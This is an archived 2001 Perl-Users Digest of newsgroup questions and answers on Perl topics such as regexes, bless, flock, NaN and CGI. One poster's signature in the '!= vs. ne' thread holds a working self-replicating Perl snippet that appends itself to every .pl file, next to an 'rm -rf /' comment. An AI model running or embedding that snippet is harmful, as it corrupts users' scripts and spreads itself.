[18605] in Perl-Users-Digest

home help back first fref pref prev next nref lref last post

Perl-Users Digest, Issue: 773 Volume: 10

daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Thu Apr 26 14:06:05 2001

Date: Thu, 26 Apr 2001 11:05:09 -0700 (PDT)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Message-Id: <988308308-v10-i773@ruby.oce.orst.edu>
Content-Type: text

Perl-Users Digest           Thu, 26 Apr 2001     Volume: 10 Number: 773

Today's topics:
        Am I in the perl Debugger? <bseib@icd.cc.purdue.edu>
    Re: Appending to files and flock. <taka@yarn.demon.co.uk>
    Re: binary operations <rayj00@yahoo.com>
    Re: Browsing Directories by CGI <stumo@bigfoot.com>
    Re: Help Me Obi One You're my Only Hope <peb@bms.umist.ac.uk>
    Re: Help Me Obi One You're my Only Hope <Obi_One@whkjcssss.com>
    Re: Help Me Obi One You're my Only Hope <wasabi@wasnospamabi.com>
    Re: How to down size /usr/bin/perl ? (Andy Dougherty)
    Re: https module <zzalsdrh@fs1.mcc.ac.uk>
    Re: Idiom: the expression of a copied & substituted str nobull@mail.com
    Re: libgdm NOT! (Andy Dougherty)
    Re: match a range of number <david.bouman@nl.xo.com>
    Re: Multipage Perl CGI script nobull@mail.com
    Re: Must send lots of emails <rob@frii.com>
    Re: oop bless problem <ren@tivoli.com>
    Re: oop bless problem (Anno Siegel)
    Re: operators: != vs. ne, strange behaviour (Rudolf Polzer)
    Re: operators: != vs. ne, strange behaviour <ren@tivoli.com>
        Problem in Netscape with CGI Headers ros@ros.com
        Procmail Help <j2lab@my-deja.com>
        Regular expression for zip code <notmyrealemail@fake.com>
    Re: Regular expression for zip code <sharding@ccbill.com>
    Re: Regular expression for zip code <notmyrealemail@fake.com>
        run by click in linux <yhu@mail.nih.gov>
        s///g count <martin@djernaes.net>
    Re: s///g count (Jay Tilton)
    Re: total newbie <sthomas@ws5120.nc.fnc.fujitsu.com>
        Digest Administrivia (Last modified: 6 Apr 01) (Perl-Users-Digest Admin)

----------------------------------------------------------------------

Date: Thu, 26 Apr 2001 17:44:20 +0000 (UTC)
From: Broc Seib <bseib@icd.cc.purdue.edu>
Subject: Am I in the perl Debugger?
Message-Id: <9c9mpk$8js$1@mozo.cc.purdue.edu>
Keywords: perl debugger variable

I need my code to behave a little different if I am running it
in the perl debugger. Is there a variable I can check to know for
sure if I am in the debugger or not?

TIA
-b
-


------------------------------

Date: 26 Apr 2001 16:58:39 +0100
From: Paul the Nomad <taka@yarn.demon.co.uk>
Subject: Re: Appending to files and flock.
Message-Id: <87ae53fya8.fsf@euterpe.yarn.demon.co.uk>

abigail@foad.org (Abigail) writes:

> Paul the Nomad (taka@yarn.demon.co.uk) wrote on MMDCCXCV September
> MCMXCIII in <URL:news:87oftk0w2a.fsf@euterpe.yarn.demon.co.uk>:
> ;;  
> ;;  
> ;;  I've just been looking at someone's code for a very basic survey/poll
> ;;  cgi.  You know, the sort of thing that you see on Slashdot.
> ;;  
> ;;  Every time someone votes the result is appended to a file...something
> ;;  like this:
> ;;  
> ;;  open (FH, ">> results.txt");
> ;;  print FH $result;
> ;;  close FH;
> ;;  
> ;;  However, the author of this code doesn't lock the file at all.  Surely
> ;;  as a CGI you might get many attempts to append to the file at the same
> ;;  time.  My question is shouldn't flock be used here?  Or is there
> ;;  something about 'print FH ...' that makes it atomic?
> 
> 
> No, it's something about the open mode.
> 
> 
> Did you study perlopentut?
> 

Eh??? That just says the way to lock is to use flock and using lock
files may cause race conditions.

> 
> Abigail
> -- 
> sub f{sprintf$_[0],$_[1],$_[2]}print f('%c%s',74,f('%c%s',117,f('%c%s',115,f(
> '%c%s',116,f('%c%s',32,f('%c%s',97,f('%c%s',0x6e,f('%c%s',111,f('%c%s',116,f(
> '%c%s',104,f('%c%s',0x65,f('%c%s',114,f('%c%s',32,f('%c%s',80,f('%c%s',101,f(
> '%c%s',114,f('%c%s',0x6c,f('%c%s',32,f('%c%s',0x48,f('%c%s',97,f('%c%s',99,f(
> '%c%s',107,f('%c%s',101,f('%c%s',114,f('%c%s',10,)))))))))))))))))))))))))


Clever sig :)

-- 
-----------
Paul 
   http://www.seditiousdiaries.com/Donald10.html


------------------------------

Date: Thu, 26 Apr 2001 11:18:17 -0400
From: RayJ <rayj00@yahoo.com>
Subject: Re: binary operations
Message-Id: <3AE83C39.6050306@yahoo.com>

I did a: $bits = unpack("B*",pack("H*",$values[$usi+$octet]));
and $bits now equal 10000000
Still don't work.

Ray

Bart Lateur wrote:

> RayJ wrote:
> 
> 
>> my $infomask = hex '1f';
>> my $codemask = hex '60';
>> 
>> # at this point, @bits = 10000000
>> 
>> 
>> if ((@bits & $infomask) == 0x0) {do something because bottom 5 bits are 
>> zero }
>> 
>> I am failing this test and not executing the then part.
> 
> 
> @bits is no good. It should be a number with that as a binary
> representation. Either pack/unpack (b/B) or oct("0b...") should be able
> to do that. Er... is the lowest bit '1', or is it the highest bit?



------------------------------

Date: Thu, 26 Apr 2001 18:03:55 +0100
From: "Stuart Moore" <stumo@bigfoot.com>
Subject: Re: Browsing Directories by CGI
Message-Id: <rxYF6.1240$Ea4.137462@news6-win.server.ntlworld.com>

Sorry, I haven't made myself clear. I am already able to upload/download by FTP
and CHMOD using that, but only over my ISP's dial up (their policy). This
prevents me working at other times, e.g. from my higher speed connection at
school. I want something that can effectively mimic FTP browsing, by having a
script that can read the directory contents, format them, and when appropriate
upload/download files. I was hoping someone else had written it to avoid me
having to. I agree telnet would be useful but unfortunatly they explicitly state
they won't accept telnet connections. The hosting's far cheaper than anywhere
else I've found, which is why I go there.

Stuart




------------------------------

Date: Thu, 26 Apr 2001 16:36:41 +0100
From: Paul Boardman <peb@bms.umist.ac.uk>
Subject: Re: Help Me Obi One You're my Only Hope
Message-Id: <3AE84089.1B076CCC@bms.umist.ac.uk>

Tuan Ngo wrote:
> 
> Need assistance with writing a Perl Script for the following problem...  Any
> help will be much appreciated... I may be able to provide compensation.....
> 

<snip attempt to get other people to do your work>

It is very doubtful that someone will write a script from scratch for
you.  That's not what this newsgroup is for.  If you make a good attempt
at the problem yourself and then ask questions (after consulting the FAQ
and documentation) you will be much more likely to receive help.



Paul


------------------------------

Date: Thu, 26 Apr 2001 11:39:19 -0400
From: "Obi One" <Obi_One@whkjcssss.com>
Subject: Re: Help Me Obi One You're my Only Hope
Message-Id: <9c9ff8$ctu$1@sshuraac-i-1.production.compuserve.com>

Hello Tuan,
There is no worry.
You need a tool, naming them by hand will take too long.
Tools Are Great. Tools Are Expensive.
You've told me what you would like your tool to do.
Tell me what you want to spend for your new tool.
Then I will tell you how great Tuan's New Tool will or will not be.

Obi Wan Kenobi

Tuan Ngo <tuan.ngo1@home.com> wrote in message
news:N7RF6.3914$9X6.318353@news1.bnapk1.occa.home.com...
> Need assistance with writing a Perl Script for the following problem...
Any
> help will be much appreciated... I may be able to provide
compensation.....
>
> You've just loaded a CD's worth of reference images from an outside
company.
> The images are grouped in "packets" of ten frames each, and are named
> "DSCN-1.JPG, DSCN-2.JPG ... DSCN-10.JPG," then jump up by a count of 90 to
> the next "hundreds" place-marker: "DSCN-101.JPG, DSCN-102.JPG ...
> DSCN-110.JPG," and continue up through the sequence "DSCN-2301.JPG,
> DSCN-2302.JPG ... DSCN-2310.JPG" giving a total of 240 frames. The frames
> were brought online in somewhat of a "random" order, so that frame 8 may
> have been loaded before frame 2, and "packet" 801-810 may have loaded
before
> 301-310.
> Although the frames were stored in separate "folders" on the CDROM from
> which they were loaded, all of the frames have now been placed into a
single
> directory named: /shots/spi/home/pix/out/home_test_v1/misc_bg8/
>
> The structure of the directory you've loaded them into is this:
>
> /shots/$SHOWNAME/$SHOTNAME/pix/out/$ELEMENTNAME/$RESOLUTION_$COLORSPACE
>
>
> --------------------------------------------------------------------------
--
> ----
>
> Your task is to rename the frames in accordance with SPI standard naming
> conventions. These include:
>
>
> 1. No capital letters in the filenames
> 2. No dashes are allowed in the filenames
> 3. Frame numbers need to be "padded" to four-digits. ie, "1" becomes
"0001"
> This is denoted by the symbol # so a range of 1-240 would read 1-240#.
> 4. The frames should be renamed to match the directory in which they are
> placed in the following manner:
>
>
> $ELEMENTNAME_$RESOLUTION_$COLORSPACE.#.$EXTENSION
> So, in other words, each frame should read:
>
>
/shots/spi/home/pix/out/home_test_v1/misc_bg8/home_test_v1_misc_bg8.0001.jpg
>
/shots/spi/home/pix/out/home_test_v1/misc_bg8/home_test_v1_misc_bg8.0002.jpg
>
/shots/spi/home/pix/out/home_test_v1/misc_bg8/home_test_v1_misc_bg8.0003.jpg
> ...
>
/shots/spi/home/pix/out/home_test_v1/misc_bg8/home_test_v1_misc_bg8.0240.jpg
>
>
>
> You have a limited timeframe to rename these frames, as they are going to
be
> sent overseas to another house before the end of their working day. You
also
> have good reason to suspect that there will be many more requests just
like
> this one.
>
>
>
>
> --------------------------------------------------------------------------
--
> ----
>
>
> The challenge is, then:
>
>
> Sitting at a UNIX (Irix 6.5.8) terminal, use whatever methods you prefer
to
> rename and resequence these frames into their acceptable naming
conventions
> and proper sequential order. You may use any means at your disposal,
> including most basic scripting languages.
>
>
>
>




------------------------------

Date: Thu, 26 Apr 2001 12:11:18 -0400
From: "Wasabi" <wasabi@wasnospamabi.com>
Subject: Re: Help Me Obi One You're my Only Hope
Message-Id: <9c9hb7$7tq$1@sshuraaa-i-1.production.compuserve.com>

This sounds like a test question for a CS exam.
Its too simple of a problem to be  real  !

Hey what school is that bad ?




------------------------------

Date: Thu, 26 Apr 2001 15:38:03 -0000
From: doughera@maxwell.phys.lafayette.edu (Andy Dougherty)
Subject: Re: How to down size /usr/bin/perl ?
Message-Id: <slrn9egg9b.cnu.doughera@maxwell.phys.lafayette.edu>

In article <9c8lg8$1fsq$1@ccreader.nctu.edu.tw>, Pally Kuo wrote:
>Hello,
>I wanna down size perl interpreter /usr/bin/perl
>the original size is about 502k
>I must make it to below 200k, in order to post into flash rom...
>Is there any way to do that ?

No, not really.  You need to get rid of approximately 60% of perl to
make it fit.  You could start chopping out parts that you know you
don't want (e.g. if you don't want to do pattern matching, you can 
replace all of reg*.c with simple empty stubs) but even such radical
surgery is unlikely to get rid of anywhere near enough.  
To be concrete, on my system, toke.o alone is over 300k.  It doesn't
look feasible to squeeze all of perl into 200k.

-- 
    Andy Dougherty		doughera@lafayette.edu
    Dept. of Physics
    Lafayette College, Easton PA 18042


------------------------------

Date: Thu, 26 Apr 2001 16:52:44 +0100
From: Dan Holdsworth <zzalsdrh@fs1.mcc.ac.uk>
Subject: Re: https module
Message-Id: <3AE8444C.1861788F@fs1.mcc.ac.uk>

smilepak wrote:
> 
> Question:
> 
> I need to access a secure http site to pull data on a daily basis. The site
> request a username/password. Anyone know of a way I can get perl to do a
> https call and passing a username/password when it request for it?
> 
> I know perl has a "GET" function, however that doesn't work with secure http
> server.

Check if you've got the utility wget. If you have, then use that (man wget). It
allows for that form of authentication; you'll have to download the file from
the site to a local file, then read in from there.

-- 
Dan Holdsworth PhD


------------------------------

Date: 26 Apr 2001 18:37:05 +0100
From: nobull@mail.com
Subject: Re: Idiom: the expression of a copied & substituted string
Message-Id: <u9g0evimv2.fsf@wcl-l.bham.ac.uk>

"John Lin" <johnlin@chttl.com.tw> writes:
> <nobull@mail.com> wrote
> >
> > rename $original, (map { s/\.pl$/.bak/; $_ } "$original")[0];
>
> Hmm... List context is fine here (so don't need the [0]):

Hmmm.. wrong.

sub context { 
   print "@_ in ";
   print wantarray ? 'LIST' : defined wantarray ? 'SCALAR' : 'VOID';
   print " context\n";
}

print "This is Perl $]\n";

rename context("1st arg"),context("2nd arg");
__END__
This is Perl 5.006
1st arg in SCALAR context
2nd arg in SCALAR context

-- 
     \\   ( )
  .  _\\__[oo
 .__/  \\ /\@
 .  l___\\
  # ll  l\\
 ###LL  LL\\


------------------------------

Date: Thu, 26 Apr 2001 15:41:51 -0000
From: doughera@maxwell.phys.lafayette.edu (Andy Dougherty)
Subject: Re: libgdm NOT!
Message-Id: <slrn9egggf.cnu.doughera@maxwell.phys.lafayette.edu>

In article <3ae76a5b.0@news2.lightlink.com>, Homer Wilson Smith wrote:
>     Running Linxu 2.0.38 and perl 5.00x
>
>     How do I compile perl to NOT include libgdbm.so but only
>libdb.so?

Try reading the INSTALL document that comes with the perl source kit,
especially the section  =head2 Extensions.

>     Alternately how do I tell perl to use libdb.so with the dbopen()
>statement, it seems to insist on using libgdbm which is incompatible
>with the file I wish to read.

Try reading the dbmopen() section of perlfuc.pod, especially the
section starting "You can control which DBM library you use ..."

-- 
    Andy Dougherty		doughera@lafayette.edu
    Dept. of Physics
    Lafayette College, Easton PA 18042


------------------------------

Date: Thu, 26 Apr 2001 18:12:28 +0200
From: David Bouman <david.bouman@nl.xo.com>
Subject: Re: match a range of number
Message-Id: <3AE848EC.7448FD99@nl.xo.com>

David Bouman wrote:
> Abigail wrote:
> > David Bouman (david.bouman@nl.xo.com) wrote on MMDCCXCV September
> > MCMXCIII in <URL:news:3AE7DA90.6DE3C6A2@nl.xo.com>:
> > ??  Abigail wrote:
> > ??
> > ?? >     sub strictly_sorted {
> > ?? >         strictly_sorted (scalar (@_), 2) ||
> > ?? >         $_ [0] < $_ [1] && strictly_sorted @_ [1 .. $#_];
> > ?? >     }
> > ??
> > ??  Ehm.., doesn't this spell "infinite recursion" ?
> >
> > We were talking how a mathematician would do it. Certainly smart math
> > people won't limit themselves to evaluate an expression in just one way!
> > They'll pick the right path.

I still am not convinced. Maybe I'm taking this too far but let's just write
one out:

	ss(1,2,3)  :  ss(3,2) || 1<2 && ss(2,3)  ->  ss(3,2) || ss(2,3)
	ss(3,2)    :  ss(2,2) || 3<2 && ss(2)    ->  ss(2,2)
        ss(2,3)    :  ss(2,2) || 2<3 && ss(3)    ->  ss(2,2) || ss(3)
        ss(2,2)    :  ss(2,2) || 2<2 && ss(2)    ->  ss(2,2)
	ss(2)	   :  ss(1,2) 
	ss(3)	   :  ss(1,2)
	ss(1,2)	   :  ss(2,2) || 1<2 && ss(2)	 ->  ss(2,2) || ss(2)

I fail to see how it will ever end. What turn did I miss?
						
--
David


------------------------------

Date: 26 Apr 2001 17:50:15 +0100
From: nobull@mail.com
Subject: Re: Multipage Perl CGI script
Message-Id: <u9lmonip14.fsf@wcl-l.bham.ac.uk>

Anders =?iso-8859-1?Q?S=F8nderberg?= Mortensen <sondberg@indexdata.dk> writes:

> My plan was to let the CGI script generate a waiting screen until a
> respons is received.
> Depending on whether the URL exists or not, the CGI script should
> generate an OK-screen or an error screen.
> I'm not quite sure how to let a single CGI script show more than one
> HTML-page.
> 
> Have anybody some experience on this field?

This has been discussed here within the last week, please see those
threads.

As I pointed out at the time this was also at the same time being
discussed in more depth in comp.infosystems.www.authoring.cgi where it
is actually on-topic because the basic principles involved are not
language depenant.

-- 
     \\   ( )
  .  _\\__[oo
 .__/  \\ /\@
 .  l___\\
  # ll  l\\
 ###LL  LL\\


------------------------------

Date: Thu, 26 Apr 2001 09:42:57 -0600
From: Rob Greenbank <rob@frii.com>
Subject: Re: Must send lots of emails
Message-Id: <fuegetcqpvtii9n92umfu585427hj8fhfv@4ax.com>

On Tue, 24 Apr 2001 21:24:32 GMT, "Victor Prasad"
<vivekvp@spliced.com> wrote:

>Hello,
>
>I have a user list of a about 20000.  Hopefully on a spreadsheet.
>
>I have to parse out the email addresses then make a program to attach the
>email address to an email and send them off.
>
>I plan to write it in PERL and use the unix sendmail program on my server.
>It will be a generic message for everyone on the users list.
>
>Does anyone know of a premade script that does this?  Or suggestions on how
>to do this efficiently?
>
>I  am concerned about how long it would take to send.
>
>Could I get away with something like this:
>
>use Mail::Sendmail;
>
>
>  %mail = ( To      => 'you@there.com',  <except loop this 20000?
>            From    => 'me@here.com',
>            Message => "This is a very short message"
>           );
>
>
>
>Thanks,
>
>V
>
From you posting, referencing "users", I'm assuming you have a
legitimate reason (ie. these people are expecting this email).  

First, your spreadsheet can be exported into delimitetd text or
there's modules that will allow you to read the .xls file.  

On the email piece, I've been there, done that, and it may not be
quite as simple as you think.  As far as the email part, I do have 
a couple of comments/suggestions:
  1) Avoid using Sendmail.  It's an excellend MTA, but not really
     designed for bulk emailings.  It will do the trick, but only
     at a rate of a few thousand per hour.  More recent versions
     are better, but still relatively slow.  If you *have* to use
     sendmail, get the latest version and set up multiple queues.  
  2) If this is your own server, so you have the freedom to do so,
     take a look at "postfix".  It has some great features that
     really help volume emailing, like domain sorting, threads,
     and delivery of multiple emails with a single connection.  
  3) Look at the "mail-bulkmail" module (available on CPAN).  It
     looked to me like it is very capable of handling a list like
     this.  You also would have the flexibility of adding your own
     features.  It actually connects to the destination MTAs, 
     rather than placing the burdon on your local MTA>  
  4) Even with a good bulk delivery program you may still run into
     problems.  Many ISPs will block connections from a bulk mailer,
     legit or not (they have no way to know).  I've seen this with
     AOL, and my guess is you'll have LOTS of AOL addresses.
  5) Be ready to handle the bounces.  Plan in advance where you 
     want them to go and how to handle them.  The best way is to 
     use a script, which in Sendmail can be set up in a .forward 
     file or in the "aliases" file.  By processing them with a
     script as they arrive, you don't have to queue them.  My
     experience suggests about a 10% bounce rate, although the
     sophistication of the user makes a difference there.  
  6) If this is a mailing that will happen again, plan to actually 
     do something with those bounces -- ie. remove the recipient 
     from the list if it's a hard bounce (no MX for the server, or  
     unknown user returned by the server).  You will also get 
     things like vacation notices, that look like bounces, 
     forwarding notices, and mailbox fulls -- you probably don't
     want to remove those from your list.  If you're going to do
     this you need to plan on doing it right.  Figure on spending
     several hours updating your list after your first mailing.  

Don't be discouraged -- this is complicated, a pain, and some of the
issues will take time to work out, but it's a fun learning experience
too.  

	Rob


------------------------------

Date: 26 Apr 2001 10:21:23 -0500
From: Ren Maddox <ren@tivoli.com>
Subject: Re: oop bless problem
Message-Id: <m31yqfvg98.fsf@dhcp9-172.support.tivoli.com>

On Thu, 26 Apr 2001, jasonh@colubs.com wrote:

> Maybe when your just using a method you don't have to bless the
> object, but I'm overriding the CGI new method, then adding a few
> extra fields, I'm also using various new methods as well as
> autoload..

Overriding CGI's new method definitely changes things, but as long as
you do something like:

sub new {
  my($class, $initializer) = @_;
  my $self = SUPER::new($class,$initializer);
  # do the rest of your initialization
  return $self;
}

then you still don't need to call bless (CGI does it for you).

> Also, is it no true then when you DON'T bless the object properly
> your new class won't be able to be extended upon?  So if i don't
> bless it, it would be bad oop practice, would it not?

In Perl, a properly implemented constructor will bless the new
instance into whatever class it is being instantiated, even if the
constructor is in a super class.  This is handled by doing something
like:

  bless $self, ref $class || $class;

The "ref $class" portion allows for creation from other instances.
Whether you should allow for that or not is often up for debate.

> In any case, when i don't bless my object, it can't find my new
> methods so... it doesn't work.

Did you try Anno's example?

-- 
Ren Maddox
ren@tivoli.com


------------------------------

Date: 26 Apr 2001 17:45:37 GMT
From: anno4000@lublin.zrz.tu-berlin.de (Anno Siegel)
Subject: Re: oop bless problem
Message-Id: <9c9ms1$c7h$1@mamenchi.zrz.TU-Berlin.DE>

According to Jason Hurst <jasonh@colubs.com>:
> Have you taken a look at the script I'm doing?  (which was previously given
> a link to in my first posting:
> http://www.colubs.com/saveStateDB.pm)

No.  Why should I go out of my way to analyse 200+ lines of code
for you?  You didn't even read my reply properly.  You are still
top-posting.  Good bye.

Anno


------------------------------

Date: Thu, 26 Apr 2001 18:20:01 +0200
From: eins@durchnull.de (Rudolf Polzer)
Subject: Re: operators: != vs. ne, strange behaviour
Message-Id: <slrn9egilh.fu0.eins@www42.t-offline.de>

brian d foy <comdog@panix.com> wrote:
> In article <9c8dm3$bln$02$1@news.t-online.com>, "Einhardschule 
> Seligenstadt" <webmaster@einhardschule.de> wrote:
> 
> > Martien Verbruggen <mgjv@tradingpost.com.au> schrieb in im Newsbeitrag:
> > slrn9ef4jc.bf0.mgjv@verbruggen.comdyn.com.au...
> 
> > > On Wed, 25 Apr 2001 21:49:29 -0400,
> > > brian d foy <comdog@panix.com> wrote:
> 
> > > > In article <slrn9eduka.2de.eins@www42.t-offline.de>, eins@durchnull.de
> > > > wrote:
> 
> > > >> AND I FOUND A WAY TO GENERATE NAN WITHOUT USING STRINGS:
> 
> > > >> print (-1) ** 0.5;
> 
> > > >> TO PROVE NAN IS NOT SUPPORTED BY ACCIDENT.
> 
> > > > i get completely different behaviour on the *BSD flavours, as
> > > > i noted earlier.
> 
> > > I suggested in an article upthread that NaN in Perl is probably only
> > > supported [1] on systems that have isnan(3) 
> 
> > I meant: Perl supports NaN and Inf IF AND ONLY IF compiled in. And to the
> > man page references: just grep for NAN!
> 
> i did.  that's why i was curious which references you were using to 
> support your claim.  Perl only supports it if the underlying libc has
> it apparently.  that is - don't count on it being there because it is 
> not portable.  that is - it is not a Perl feature.
> 
> > It is said you cannot check using a simple re for a numeric format because
> > IEEE special numbers like NAN do not match it.
> 
> yes.  however, that does not mean it is a Perl feature.  it only
> means that you cannot use a regex that checks only numeric digits
> because the IEEE has special representations.  it does not say that
> Perl generates those special values or understands those special
> values.
> 
> 
> > What does
> > 
> > (-1) ** 0.5
> > 
> > do on your computer?
> 
> perhaps you should see earlier posts, and also identify the operating
> system and version of Perl that you use if you post again.  it would
> be even better for you to try your claims on a variety of platforms.

Hereby done. I use Linux (SuSE 7.1) and the included perl.

perl -V displays:

Summary of my perl5 (revision 5.0 version 6 subversion 0) configuration:
  Platform:
    osname=linux, osvers=2.4.0, archname=i586-linux
    uname='linux manson 2.4.0 #1 wed aug 2 20:22:26 gmt 2000 i686 unknown '
    config_args='-ds -e -Dprefix=/usr -Di_db -Di_dbm -Di_ndbm -Di_gdbm'
    hint=recommended, useposix=true, d_sigaction=define
    usethreads=undef use5005threads=undef useithreads=undef usemultiplicity=undef
    useperlio=undef d_sfio=undef uselargefiles=define 
    use64bitint=undef use64bitall=undef uselongdouble=undef usesocks=undef
  Compiler:
    cc='cc', optimize='-O2 -pipe', gccversion=2.95.2 19991024 (release)
    cppflags='-fno-strict-aliasing -I/usr/local/include'
    ccflags ='-fno-strict-aliasing -I/usr/local/include -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64'
    stdchar='char', d_stdstdio=define, usevfork=false
    intsize=4, longsize=4, ptrsize=4, doublesize=8
    d_longlong=define, longlongsize=8, d_longdbl=define, longdblsize=12
    ivtype='long', ivsize=4, nvtype='double', nvsize=8, Off_t='off_t', lseeksize=8
    alignbytes=4, usemymalloc=n, prototype=define
  Linker and Libraries:
    ld='cc', ldflags =' -L/usr/local/lib'
    libpth=/usr/local/lib /lib /usr/lib
    libs=-lnsl -ldl -lm -lc -lcrypt
    libc=, so=so, useshrplib=false, libperl=libperl.a
  Dynamic Linking:
    dlsrc=dl_dlopen.xs, dlext=so, d_dlsymun=undef, ccdlflags='-rdynamic'
    cccdlflags='-fpic', lddlflags='-shared -L/usr/local/lib'


Characteristics of this binary (from libperl): 
  Compile-time options: USE_LARGE_FILES
  Built under linux
  Compiled at Jan 19 2001 05:42:10
  @INC:
    /usr/lib/perl5/5.6.0/i586-linux
    /usr/lib/perl5/5.6.0
    /usr/lib/perl5/site_perl/5.6.0/i586-linux
    /usr/lib/perl5/site_perl/5.6.0
    /usr/lib/perl5/site_perl
    .

And the other platform I use is ActivePerl at school (Einhardschule 
Seligenstadt).
And, since there was no answer, what does

print ((-1) ** 0.5);

do on your computer? Do you get some illegal value? -2147483648? 0? an 
error?

-- 
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################


------------------------------

Date: 26 Apr 2001 11:15:05 -0500
From: Ren Maddox <ren@tivoli.com>
Subject: Re: operators: != vs. ne, strange behaviour
Message-Id: <m3u23btz7a.fsf@dhcp9-172.support.tivoli.com>

On Thu, 26 Apr 2001, eins@durchnull.de wrote:

> And, since there was no answer, what does
> 
> print ((-1) ** 0.5);
> 
> do on your computer? Do you get some illegal value? -2147483648? 0?
> an error?

FWIW, on v5.6.0 built for MSWin32-x86-multi-thread, (ActiveState), I
do get -2147483648.

Of course, it's still just the underlying library call that is
responsible for such results.

-- 
Ren Maddox
ren@tivoli.com


------------------------------

Date: Thu, 26 Apr 2001 16:07:29 GMT
From: ros@ros.com
Subject: Problem in Netscape with CGI Headers
Message-Id: <3ae847ad.16667616@news.mundo-r.com>

I have a script that writes to a database and presents itself again to
ask for more data. It works perfectly in explorer, but navigator is
much less permissive with headers and only gives me a 404 asking for
my /cgi-bin/ root

The script is as follows:

	&readfile;
	$q=new CGI;
	print 	$q->start_html(),
		$externalfilereadbefore,
		$q->end_html();
	$nombre=$q->param('name');
	if($nombre){
		&writetodatabase;
	}
	sub ...

And I can't work it out. Any helping hand?
Thanks in advance
David


------------------------------

Date: Thu, 26 Apr 2001 10:30:36 -0700
From: John Smith <j2lab@my-deja.com>
Subject: Procmail Help
Message-Id: <3AE85B3B.39F74AE1@my-deja.com>

I know this is a Perl newsgroup but I'm having some problems with
Procmail.  I'm trying to pass information from my mail header to a Perl
script.  I am trying to pass the Subject and From information.  If there
is another place I should post this, please let me know.

Thanks,
John





------------------------------

Date: Thu, 26 Apr 2001 16:33:06 GMT
From: "BarryK" <notmyrealemail@fake.com>
Subject: Regular expression for zip code
Message-Id: <65YF6.28957$U4.6334726@news1.rdc1.tn.home.com>

I want to create a regular expression that will replace any legitimate zip
code in either five digit format or 5-4 digit format with something.

The following regular expression does not work!

s< (\b\d{5}\b) | (\b\d{5}-\d{4}\b) > <X>x;

From the number "12345-1234", it will return "X-1234".

Any ideas?




------------------------------

Date: Thu, 26 Apr 2001 10:20:33 -0700
From: "Shay Harding" <sharding@ccbill.com>
Subject: Re: Regular expression for zip code
Message-Id: <9c9ks1$1msm$1@node17.cwnet.frontiernet.net>

"BarryK" <notmyrealemail@fake.com> wrote in message
news:65YF6.28957$U4.6334726@news1.rdc1.tn.home.com...
> I want to create a regular expression that will replace any legitimate zip
> code in either five digit format or 5-4 digit format with something.
>
> The following regular expression does not work!
>
> s< (\b\d{5}\b) | (\b\d{5}-\d{4}\b) > <X>x;
>
> From the number "12345-1234", it will return "X-1234".

This expression will work:

s/\b\d{5}(-\d{4})*\b/X/g;

If you take each piece of your original expression, they work separately. I
am *guessing* that since the operation is an OR, the first part matches and
the second part never gets evaluated, thus producing the results you are
seeing.

Shay






------------------------------

Date: Thu, 26 Apr 2001 17:57:42 GMT
From: "BarryK" <notmyrealemail@fake.com>
Subject: Re: Regular expression for zip code
Message-Id: <qkZF6.29308$U4.6373147@news1.rdc1.tn.home.com>

Yes, but the first part shouldn't match at all!

>  I want to create a regular expression that will replace any legitimate
zip
>  code in either five digit format or 5-4 digit format with something.
>
>  The following regular expression does not work!
>
>  s< (\b\d{5}\b) | (\b\d{5}-\d{4}\b) > <X>x;
>
>  From the number "12345-1234", it will return "X-1234".
>
> This expression will work:
>
> s/\b\d{5}(-\d{4})*\b/X/g;


> If you take each piece of your original expression, they work separately.
I
> am *guessing* that since the operation is an OR, the first part matches
and
> the second part never gets evaluated, thus producing the results you are
> seeing.

> Shay





------------------------------

Date: Thu, 26 Apr 2001 13:49:26 -0400
From: Ying Hu <yhu@mail.nih.gov>
Subject: run by click in linux
Message-Id: <3AE85FA5.62F9FC08@mail.nih.gov>

hi,
how can I run one perl script by click the icon in Linux. Thanks
Ying



------------------------------

Date: Thu, 26 Apr 2001 10:11:49 -0700
From: Martin Djernaes <martin@djernaes.net>
Subject: s///g count
Message-Id: <3AE856D5.5DD44EF9@djernaes.net>

Hi,

Maybe I'm just looking in the dark,but I can't find a way to see if
s///g actually have replaced something.

Let's say I have a string 

  $str = 'ascdef';

and I do a

  $str =~ s/a/A/g;

How do I know if s/// actually did replace something? I guess I could
compare the strings afterwards, but... does not seem like the best
solution.

Martin


------------------------------

Date: Thu, 26 Apr 2001 17:46:56 GMT
From: tiltonj@erols.com (Jay Tilton)
Subject: Re: s///g count
Message-Id: <3ae85d90.40231024@news.erols.com>

On Thu, 26 Apr 2001 10:11:49 -0700, Martin Djernaes
<martin@djernaes.net> wrote:

>Maybe I'm just looking in the dark,but I can't find a way to see if
>s///g actually have replaced something.
>
>How do I know if s/// actually did replace something?

The return value of s/// is the number of substitutions it performed.

  my $foo = $str =~ s/a/A/g;
  print "Substituted $foo times.\n" if $foo;


------------------------------

Date: 26 Apr 2001 11:12:59 -0400
From: Samuel Thomas <sthomas@ws5120.nc.fnc.fujitsu.com>
Subject: Re: total newbie
Message-Id: <tl61yqfvgn8.fsf@ws5120.nc.fnc.fujitsu.com>

Chris Gunn <cgunn@bizynet.com> writes:

> an executable in memory.  Why they seem to be unwilling to write that to hard
> drive as an .exe is beyond me.  Mostly I think they want your source code to
> be available to borrow whenever anyone wants to.

I'm guessing it's not as easy as it looks because I read that someone has been 
working on a perl compiler for quite some time.  (I'm too lazy to find it again
but it was mentioned on www.perl.com)


-- 
                /\
Sam Thomas     /  \
Ext 1161      /	** \
	     /______\


------------------------------

Date: 6 Apr 2001 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin) 
Subject: Digest Administrivia (Last modified: 6 Apr 01)
Message-Id: <null>


Administrivia:

The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc.  For subscription or unsubscription requests, send
the single line:

	subscribe perl-users
or:
	unsubscribe perl-users

to almanac@ruby.oce.orst.edu.  

To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.

To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
